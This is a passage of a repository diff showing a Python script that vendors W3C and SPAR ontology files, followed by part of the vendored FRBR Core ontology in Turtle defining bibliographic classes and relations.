"W3C PROV-O: The PROV Ontology",
|
||||
),
|
||||
(
|
||||
"skos-core.rdf",
|
||||
"https://www.w3.org/2009/08/skos-reference/skos.rdf",
|
||||
"rdf",
|
||||
"W3C SKOS: Simple Knowledge Organization System, Core Vocabulary "
|
||||
"(no Turtle serialization is served at a stable URL; this is the "
|
||||
"official RDF/XML file, which OntologyIngestor also supports)",
|
||||
),
|
||||
(
|
||||
"dcat.ttl",
|
||||
"https://www.w3.org/ns/dcat.ttl",
|
||||
"ttl",
|
||||
"W3C DCAT: Data Catalog Vocabulary",
|
||||
),
|
||||
(
|
||||
"time.ttl",
|
||||
"https://www.w3.org/2006/time",
|
||||
"ttl",
|
||||
"W3C OWL-Time: Time Ontology in OWL (content-negotiated Turtle)",
|
||||
),
|
||||
(
|
||||
"frbr.ttl",
|
||||
"https://sparontologies.github.io/frbr/current/frbr.ttl",
|
||||
"ttl",
|
||||
"FRBR Core (SPAR OWL 2 DL edition): Functional Requirements for Bibliographic Records",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def _header_comment(url: str, description: str, fmt: str) -> str:
|
||||
retrieved = datetime.now(timezone.utc).isoformat()
|
||||
if fmt == "rdf":
|
||||
return (
|
||||
f"<!-- Vendored from {url}\n"
|
||||
f" Retrieved: {retrieved}\n"
|
||||
f" Description: {description}\n"
|
||||
f" License: see the publishing organization's terms (W3C Document License) -->\n"
|
||||
)
|
||||
return (
|
||||
f"# Vendored from {url}\n"
|
||||
f"# Retrieved: {retrieved}\n"
|
||||
f"# Description: {description}\n"
|
||||
f"# License: see the publishing organization's terms (W3C Document License / SPAR Ontologies)\n\n"
|
||||
)
|
||||
|
||||
|
||||
def download(filename: str, url: str, fmt: str, description: str) -> None:
|
||||
print(f"Fetching {description} ...")
|
||||
print(f" {url}")
|
||||
response = requests.get(url, headers=HEADERS_TURTLE, timeout=60, allow_redirects=True)
|
||||
response.raise_for_status()
|
||||
content = response.text
|
||||
|
||||
dest = EXTERNAL_DIR / filename
|
||||
header = _header_comment(url, description, fmt)
|
||||
|
||||
if fmt == "rdf" and content.lstrip().startswith("<?xml"):
|
||||
# XML declaration must stay the first thing in the document:
|
||||
# insert the header comment immediately after it instead of before.
|
||||
decl_end = content.index("?>") + 2
|
||||
content = content[:decl_end] + "\n" + header + content[decl_end:]
|
||||
else:
|
||||
content = header + content
|
||||
|
||||
# newline="" disables Windows newline translation: several of these
|
||||
# sources already use \r\n, and translating would double it to \r\r\n
|
||||
# and corrupt the file for rdflib's parser.
|
||||
dest.write_text(content, encoding="utf-8", newline="")
|
||||
|
||||
size_kb = len(content) / 1024
|
||||
print(f" -> saved {dest.name} ({size_kb:.1f} KB)")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
EXTERNAL_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
for filename, url, fmt, description in ONTOLOGIES:
|
||||
try:
|
||||
download(filename, url, fmt, description)
|
||||
except requests.RequestException as exc:
|
||||
print(f"ERROR: failed to fetch {url}: {exc}", file=sys.stderr)
|
||||
raise
|
||||
|
||||
print(f"\nVendored {len(ONTOLOGIES)} real ontology files to {EXTERNAL_DIR}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,820 @@
|
||||
# Vendored from https://sparontologies.github.io/frbr/current/frbr.ttl
|
||||
# Retrieved: 2026-08-04T17:52:32.391907+00:00
|
||||
# Description: FRBR Core (SPAR OWL 2 DL edition): Functional Requirements for Bibliographic Records
|
||||
# License: see the publishing organization's terms (W3C Document License / SPAR Ontologies)
|
||||
|
||||
@prefix : <http://purl.org/spar/frbr/> .
|
||||
@prefix core: <http://purl.org/vocab/frbr/core#> .
|
||||
@prefix dc: <http://purl.org/dc/elements/1.1/> .
|
||||
@prefix dcterms: <http://purl.org/dc/terms/> .
|
||||
@prefix owl: <http://www.w3.org/2002/07/owl#> .
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix skos: <http://www.w3.org/2008/05/skos#> .
|
||||
@prefix swrl: <http://www.w3.org/2003/11/swrl#> .
|
||||
@prefix swrlb: <http://www.w3.org/2003/11/swrlb#> .
|
||||
@prefix xml: <http://www.w3.org/XML/1998/namespace> .
|
||||
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
|
||||
|
||||
dc:contributor a owl:AnnotationProperty .
|
||||
|
||||
dc:creator a owl:AnnotationProperty .
|
||||
|
||||
dc:date a owl:AnnotationProperty .
|
||||
|
||||
dc:description a owl:AnnotationProperty .
|
||||
|
||||
dc:rights a owl:AnnotationProperty .
|
||||
|
||||
dc:title a owl:AnnotationProperty .
|
||||
|
||||
<http://purl.org/spar/frbr> a owl:Ontology ;
|
||||
dc:contributor "David Shotton" ;
|
||||
dc:creator "Paolo Ciccarese"^^xsd:string,
|
||||
"Silvio Peroni"^^xsd:string ;
|
||||
dc:date "2018-03-29" ;
|
||||
dc:description "This vocabulary is an expression in OWL 2 DL of the basic concepts and relations described in the IFLA report on the Functional Requirements for Bibliographic Records (FRBR), also described in Ian Davis's RDF vocabulary (http://vocab.org/frbr/core)."@en ;
|
||||
dc:rights "This work is distributed under a Creative Commons Attribution License (http://creativecommons.org/licenses/by/3.0/)."@en ;
|
||||
dc:title "Essential FRBR in OWL2 DL"@en ;
|
||||
rdfs:comment """The Essential FRBR in OWL2 DL Ontology (FRBR) is an expression in OWL 2 DL of the basic concepts and relations described in the IFLA report on the Functional Requirements for Bibliographic Records (FRBR), also described in Ian Davis's RDF vocabulary.
|
||||
|
||||
**URL:** http://purl.org/spar/frbr
|
||||
|
||||
**Creators**: [Paolo Ciccarese](http://orcid.org/0000-0002-5156-2703), [Silvio Peroni](http://orcid.org/0000-0003-0530-4305)
|
||||
|
||||
**Contributors:**: [David Shotton](http://orcid.org/0000-0001-5506-523X)
|
||||
|
||||
**License:** [Creative Commons Attribution 4.0 International](https://creativecommons.org/licenses/by/4.0/legalcode)
|
||||
|
||||
**Website:** http://www.sparontologies.net/ontologies/frbr"""^^xsd:string ;
|
||||
owl:priorVersion <http://purl.org/spar/frbr/2011-06-29> ;
|
||||
owl:versionIRI <http://purl.org/spar/frbr/2018-03-29> ;
|
||||
owl:versionInfo "1.0.1"^^xsd:string .
|
||||
|
||||
core:alternate a owl:ObjectProperty ;
|
||||
rdfs:label "has alternate"@en ;
|
||||
rdfs:comment """A manifestation having another one as alternate.
|
||||
|
||||
The alternate relationship involves manifestations that effectively serve as alternates for each other. The alternate relationship obtains, for example, when a publication, sound recording, video, etc. is issued in more than one format or when it is released simultaneously by different publishers in different countries."""@en ;
|
||||
rdfs:domain core:Manifestation ;
|
||||
rdfs:range core:Manifestation ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:alternateOf .
|
||||
|
||||
core:creator a owl:ObjectProperty ;
|
||||
rdfs:label "has creator"@en ;
|
||||
rdfs:comment "A work linked to its creator."@en ;
|
||||
rdfs:domain core:Work ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:creatorOf .
|
||||
|
||||
core:owner a owl:ObjectProperty ;
|
||||
rdfs:label "has owner"@en ;
|
||||
rdfs:comment "An item linked to its owner."@en ;
|
||||
rdfs:domain core:Item ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:ownerOf .
|
||||
|
||||
core:producer a owl:ObjectProperty ;
|
||||
rdfs:label "has producer"@en ;
|
||||
rdfs:comment "A manifestation linked to its prodecer."@en ;
|
||||
rdfs:domain core:Manifestation ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:producerOf .
|
||||
|
||||
core:realizer a owl:ObjectProperty ;
|
||||
rdfs:label "has realizer"@en ;
|
||||
rdfs:comment "An expression linked to its realizer."@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:realizerOf .
|
||||
|
||||
core:reconfiguration a owl:ObjectProperty ;
|
||||
rdfs:label "has reconfiguration"@en ;
|
||||
rdfs:comment """An item reconfigured in another one.
|
||||
|
||||
The reconfiguration relationship is one in which one or more items are changed in such a way that a new item or items result. Most commonly, an item of one manifestation is bound with an item of a different manifestation to make a new item. """@en ;
|
||||
rdfs:domain core:Item ;
|
||||
rdfs:range core:Item ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:reconfigurationOf .
|
||||
|
||||
core:reproduction a owl:ObjectProperty ;
|
||||
rdfs:label "has reproduction"@en ;
|
||||
rdfs:comment """A manifestation/item reproduced in another one.
|
||||
|
||||
A reproduction indicates the relationship as it would be drawn from the first manifestation/item in the relationship to the second manifestation/item in the relationship."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Item core:Manifestation ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Item core:Manifestation ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:reproductionOf .
|
||||
|
||||
core:subject a owl:ObjectProperty ;
|
||||
rdfs:label "has subject"@en ;
|
||||
rdfs:comment "A work linked to a particular subject it is talking about."@en ;
|
||||
rdfs:domain core:Work ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:CorporateBody core:Endeavour core:Subject ) ] ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty ;
|
||||
owl:inverseOf core:subjectOf .
|
||||
|
||||
rdfs:comment a owl:AnnotationProperty .
|
||||
|
||||
rdfs:isDefinedBy a owl:AnnotationProperty .
|
||||
|
||||
rdfs:label a owl:AnnotationProperty .
|
||||
|
||||
skos:note a owl:AnnotationProperty ;
|
||||
rdfs:label "skos:note"@en ;
|
||||
rdfs:isDefinedBy skos: .
|
||||
|
||||
core:Concept a owl:Class ;
|
||||
rdfs:label "concept"@en ;
|
||||
rdfs:comment """An abstract notion or idea.
|
||||
|
||||
The entity defined as concept encompasses a comprehensive range of abstractions that may be the subject of a work: fields of knowledge, disciplines, schools of thought (philosophies, religions, political ideologies, etc.), theories, processes, techniques, practices, etc. A concept may be broad in nature or narrowly defined and precise. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:CorporateBody a owl:Class ;
|
||||
rdfs:label "corporate body"@en ;
|
||||
rdfs:comment """An organization or group of individuals and/or organizations acting as a unit.
|
||||
|
||||
The entity defined as corporate body encompasses organizations and groups of individuals and/or organizations that are identified by a particular name, including occasional groups and groups that are constituted as meetings, conferences, congresses, expeditions, exhibitions, festivals, fairs, etc."""@en ;
|
||||
rdfs:subClassOf core:ResponsibleEntity ;
|
||||
owl:disjointWith core:Person .
|
||||
|
||||
core:Event a owl:Class ;
|
||||
rdfs:label "event"@en ;
|
||||
rdfs:comment """An action or occurrence.
|
||||
|
||||
The entity defined as event encompasses a comprehensive range of actions and occurrences that may be the subject of a work: historical events, epochs, periods of time, etc. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:Object a owl:Class ;
|
||||
rdfs:label "object"@en ;
|
||||
rdfs:comment """A material thing.
|
||||
|
||||
The entity defined as object encompasses a comprehensive range of material things that may be the subject of a work: animate and inanimate objects occurring in nature; fixed, movable, and moving objects that are the product of human creation; objects that no longer exist. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:Person a owl:Class ;
|
||||
rdfs:label "person"@en ;
|
||||
rdfs:comment "An individual. The entity defined as person encompasses individuals that are deceased as well as those that are living."@en ;
|
||||
rdfs:subClassOf core:ResponsibleEntity .
|
||||
|
||||
core:Place a owl:Class ;
|
||||
rdfs:label "place"@en ;
|
||||
rdfs:comment """A location.
|
||||
|
||||
The entity defined as place encompasses a comprehensive range of locations: terrestrial and extra-terrestrial; historical and contemporary; geographic features and geo-political jurisdictions. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:abridgement a owl:ObjectProperty ;
|
||||
rdfs:label "has abridgement"@en ;
|
||||
rdfs:comment """An expression abridged in another one.
|
||||
|
||||
In the abridged expression some content of the previous expression is removed, but the result does not alter the content to the extent that it becomes a new work. The expressions resulting from such modification are generally autonomous in nature (i.e., they do not normally require reference to the prior expression in order to be used or understood). """@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:abridgementOf .
|
||||
|
||||
core:abridgementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is abridgement of"@en ;
|
||||
rdfs:comment "It identifies the entire expression of an abridged one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:adaption a owl:ObjectProperty ;
|
||||
rdfs:label "has adaption"@en ;
|
||||
rdfs:comment """A work/expression adapted in another one.
|
||||
|
||||
This property describe the modification of an original work that is sufficient in degree to warrant their being considered as new works, rather than simply different expressions of the same work. If there exists a relation of this kind among two different expressions, they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:adaptionOf .
|
||||
|
||||
core:adaptionOf a owl:ObjectProperty ;
|
||||
rdfs:label "is adaption of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of an adapted one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:alternateOf a owl:ObjectProperty ;
|
||||
rdfs:label "is alternate of"@en ;
|
||||
rdfs:comment "It identifies the manifestation of an alternative one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:arrangement a owl:ObjectProperty ;
|
||||
rdfs:label "has arrangement"@en ;
|
||||
rdfs:comment """An expression arranged in another one.
|
||||
|
||||
In the arranged expression some content of the previous expression is changed in some way, but the result does not alter the content to the extent that it becomes a new work. The expressions resulting from such modification are generally autonomous in nature (i.e., they do not normally require reference to the prior expression in order to be used or understood)."""@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:arrangementOf .
|
||||
|
||||
core:arrangementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is arrangement of"@en ;
|
||||
rdfs:comment "It identifies the original expression of an arranged one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:complement a owl:ObjectProperty ;
|
||||
rdfs:label "has complement"@en ;
|
||||
rdfs:comment """An expression work/expression having another one as complement.
|
||||
|
||||
This property describes works that are intended to be combined with or inserted into the related work. In other words, they are intended to be integrated in some way with the other work, but were not part of the original conception of that prior work. If there exists a relation of this kind among two different expressions, then they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:complementOf .
|
||||
|
||||
core:complementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is complement of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of that is a complement of another one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:creatorOf a owl:ObjectProperty ;
|
||||
rdfs:label "is creator of"@en ;
|
||||
rdfs:comment "The creator of a particular work."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:embodiment a owl:ObjectProperty ;
|
||||
rdfs:label "has embodiment"@en ;
|
||||
rdfs:comment "An expression embodied in a manifestation."@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Manifestation ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:embodimentOf .
|
||||
|
||||
core:exemplar a owl:ObjectProperty ;
|
||||
rdfs:label "has exemplar"@en ;
|
||||
rdfs:comment "A manifestation exemplified in an item."@en ;
|
||||
rdfs:domain core:Manifestation ;
|
||||
rdfs:range core:Item ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:exemplarOf .
|
||||
|
||||
core:imitation a owl:ObjectProperty ;
|
||||
rdfs:label "has imitation"@en ;
|
||||
rdfs:comment """An work/expression imitated in another one.
|
||||
|
||||
This property describes works that are intended to be an imitation another original work that is sufficient in degree to warrant their being considered as new works, rather than simply different expressions of the same work. If there exists a relation of this kind among two different expressions, then they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:imitationOf .
|
||||
|
||||
core:imitationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is imitation of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of an imitated one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:ownerOf a owl:ObjectProperty ;
|
||||
rdfs:label "is owner of"@en ;
|
||||
rdfs:comment "The owner of a particular item."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:producerOf a owl:ObjectProperty ;
|
||||
rdfs:label "is producer of"@en ;
|
||||
rdfs:comment "The producer of a particular manifestation."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:realization a owl:ObjectProperty ;
|
||||
rdfs:label "has realization"@en ;
|
||||
rdfs:comment "A work realized through an expression."@en ;
|
||||
rdfs:domain core:Work ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:realizationOf .
|
||||
|
||||
core:realizerOf a owl:ObjectProperty ;
|
||||
rdfs:label "is realizer of"@en ;
|
||||
rdfs:comment "The realizer of a particular expression."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:reconfigurationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is reconfiguration of"@en ;
|
||||
rdfs:comment "It identifies the manifestation of a reconfigured one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:reproductionOf a owl:ObjectProperty ;
|
||||
rdfs:label "is reproduction of"@en ;
|
||||
rdfs:comment "It identifies the manifestation/item of a reproduced one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:revision a owl:ObjectProperty ;
|
||||
rdfs:label "has revision"@en ;
|
||||
rdfs:comment """An expression revised in another one.
|
||||
|
||||
A revision has the intent to alter or update the content of the prior expression, but without changing the content so much that it becomes a new work."""@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:revisionOf .
|
||||
|
||||
core:revisionOf a owl:ObjectProperty ;
|
||||
rdfs:label "is revision of"@en ;
|
||||
rdfs:comment "It identifies the previous expression of a revised one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:subjectOf a owl:ObjectProperty ;
|
||||
rdfs:label "is subject of"@en ;
|
||||
rdfs:comment "A subject a work talks abbout."@en ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty .
|
||||
|
||||
core:successor a owl:ObjectProperty ;
|
||||
rdfs:label "has successor"@en ;
|
||||
rdfs:comment """An expression work/expression having another one as successor.
|
||||
|
||||
The successor type of relationship involves a kind of linear progression of content from one work/expression to the other. In some cases, the content of the successor may be closely connected to the content of the preceding work, which would result in a work that is referential. In others, such as with loosely connected parts of a trilogy, the successor will be autonomous. Serial publications that result from the merger or split of their predecessors and stand on their own without requiring reference to the predecessor are also examples of autonomous works that fall within the successor relationship type. If there exists a relation of this kind among two different expressions, then they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:successorOf .
|
||||
|
||||
core:successorOf a owl:ObjectProperty ;
|
||||
rdfs:label "is successor of"@en ;
|
||||
rdfs:comment "It identifies the previous work/expression of a succeeded one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:summarization a owl:ObjectProperty ;
|
||||
rdfs:label "has summarization"@en ;
|
||||
rdfs:comment """A work/expression summarized in another one.
|
||||
|
||||
This property describe the summarization of an original work that is sufficient in degree to warrant their being considered as new works, rather than simply different expressions of the same work. If there exists a relation of this kind among two different expressions, they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:summarizationOf .
|
||||
|
||||
core:summarizationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is summarization of"@en ;
|
||||
rdfs:comment "It identifies the original work/expression of a summarized one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:supplement a owl:ObjectProperty ;
|
||||
rdfs:label "has supplement"@en ;
|
||||
rdfs:comment """An expression work/expression having another one as supplement.
|
||||
|
||||
The supplement relationship type involves works/expressions that are intended to be used in conjunction with another work/expression. Some of these, such as indices, concordances, teachers' guides, glosses, and instruction manuals for electronic resources will be so closely associated with the content of the related work/expression that they are useless without the other work/expression."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:supplementOf .
|
||||
|
||||
core:supplementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is supplement of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of a particular supplement of it."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:transformation a owl:ObjectProperty ;
|
||||
rdfs:label "has transformation"@en ;
|
||||
rdfs:comment """An work/expression transformed in another one.
|
||||
|
||||
This property describes the transformation of an original work or expression into another work or expression that is sufficiently different in degree to warrant the product of the transformation being considered as a new work or expression, rather than simply a different expression of the original work. If there exists a frbr:transformation relation between two different expressions, then they always relate to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:transformationOf .
|
||||
|
||||
core:transformationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is transformation of"@en ;
|
||||
rdfs:comment "It identifies the original work/expression of a trasformed one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:translation a owl:ObjectProperty ;
|
||||
rdfs:label "has translation"@en ;
|
||||
rdfs:comment """An expression translated in another one.
|
||||
|
||||
It allows to refer to a literal translation, in which the intent is to render the intellectual content of the previous expression as accurately as possible."""@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:translationOf .
|
||||
|
||||
core:translationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is translation of"@en ;
|
||||
rdfs:comment "It identifies the original expression of a translated one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:embodimentOf a owl:ObjectProperty ;
|
||||
rdfs:label "is embodiment of"@en ;
|
||||
rdfs:comment "A manifestation that embodies an expression."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:exemplarOf a owl:FunctionalProperty,
|
||||
owl:ObjectProperty ;
|
||||
rdfs:label "is exemplar of"@en ;
|
||||
rdfs:comment "An item that exemplifies a manifestation."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:ResponsibleEntity a owl:Class ;
|
||||
rdfs:label "responsible entity"@en ;
|
||||
rdfs:comment "It represents those responsible for the intellectual or artistic content, the physical production and dissemination, or the custodianship of any endeavour."@en .
|
||||
|
||||
core:part a owl:ObjectProperty,
|
||||
owl:TransitiveProperty ;
|
||||
rdfs:label "has part"@en ;
|
||||
rdfs:comment "A part of an endeavour."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:partOf ;
|
||||
skos:note "Unlike the FRBR version in RDF http://vocab.org/frbr/core.html the present version defines partonomy relationships transitive."@en .
|
||||
|
||||
core:responsibleEntity a owl:ObjectProperty ;
|
||||
rdfs:label "has responsible entity"@en ;
|
||||
rdfs:comment "Any endeavour having a particular entity that is responsible of it."@en ;
|
||||
rdfs:domain core:Endeavour ;
|
||||
rdfs:range core:ResponsibleEntity ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty ;
|
||||
owl:inverseOf core:responsibleEntityOf .
|
||||
|
||||
owl:topObjectProperty a owl:ObjectProperty .
|
||||
|
||||
core:Subject a owl:Class ;
|
||||
rdfs:label "subject"@en ;
|
||||
rdfs:comment "It represents an additional set of entities that serve as the subjects of works."@en .
|
||||
|
||||
core:partOf a owl:ObjectProperty,
|
||||
owl:TransitiveProperty ;
|
||||
rdfs:label "is part of"@en ;
|
||||
rdfs:comment "An endeavour incorporating another endeavour."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
skos:note "Unlike the FRBR version in RDF http://vocab.org/frbr/core.html the present version defines partonomy relationships transitive."@en .
|
||||
|
||||
core:responsibleEntityOf a owl:ObjectProperty ;
|
||||
rdfs:label "is responsible entity of"@en ;
|
||||
rdfs:comment "An entity that is resposible for a particular endeavour."@en ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty .
|
||||
|
||||
core:Item a owl:Class ;
|
||||
rdfs:label "item"@en ;
|
||||
rdfs:comment """A single exemplar of a manifestation.
|
||||
|
||||
The entity defined as item is a concrete entity. It is in many instances a single physical object (e.g., a copy of a one-volume monograph, a single audio cassette, etc.). There are instances, however, where the entity defined as item comprises more than one physical object (e.g., a monograph issued as two separately bound volumes, a recording issued on three separate compact discs, etc.). """@en ;
|
||||
owl:disjointWith core:Manifestation,
|
||||
core:Work ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Item ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Item ;
|
||||
owl:onProperty core:partOf ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:exemplarOf ;
|
||||
owl:someValuesFrom core:Manifestation ] ) ] .
|
||||
|
||||
core:Endeavour a owl:Class ;
|
||||
rdfs:label "endeavour"@en ;
|
||||
rdfs:comment "It describes different aspects of user interests in the products of intellectual or artistic artifact."@en ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Item core:Manifestation core:Work ) ] .
|
||||
|
||||
core:Manifestation a owl:Class ;
|
||||
rdfs:label "manifestation"@en ;
|
||||
rdfs:comment """The physical embodiment of an expression of a work.
|
||||
|
||||
The entity defined as manifestation encompasses a wide range of materials and formats. As an entity, manifestation represents all the physical objects that bear the same characteristics, in respect to both intellectual content and physical form. """@en ;
|
||||
owl:disjointWith core:Work ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Manifestation ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Manifestation ;
|
||||
owl:onProperty core:partOf ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:embodimentOf ;
|
||||
owl:someValuesFrom core:Expression ] [ a owl:Restriction ;
|
||||
owl:onProperty core:exemplar ;
|
||||
owl:someValuesFrom core:Item ] ) ] .
|
||||
|
||||
<urn:swrl#e1> a swrl:Variable .
|
||||
|
||||
<urn:swrl#e2> a swrl:Variable .
|
||||
|
||||
<urn:swrl#w1> a swrl:Variable .
|
||||
|
||||
<urn:swrl#w2> a swrl:Variable .
|
||||
|
||||
core:Work a owl:Class ;
|
||||
rdfs:label "work"@en ;
|
||||
rdfs:comment """A distinct intellectual or artistic creation.
|
||||
|
||||
A work is an abstract entity; there is no single material object one can point to as the work. We recognize the work through individual realizations or expressions of the work, but the work itself exists only in the commonality of content between and among the various expressions of the work. When we speak of Homer's Iliad as a work, our point of reference is not a particular recitation or text of the work, but the intellectual creation that lies behind all the various expressions of the work. """@en ;
|
||||
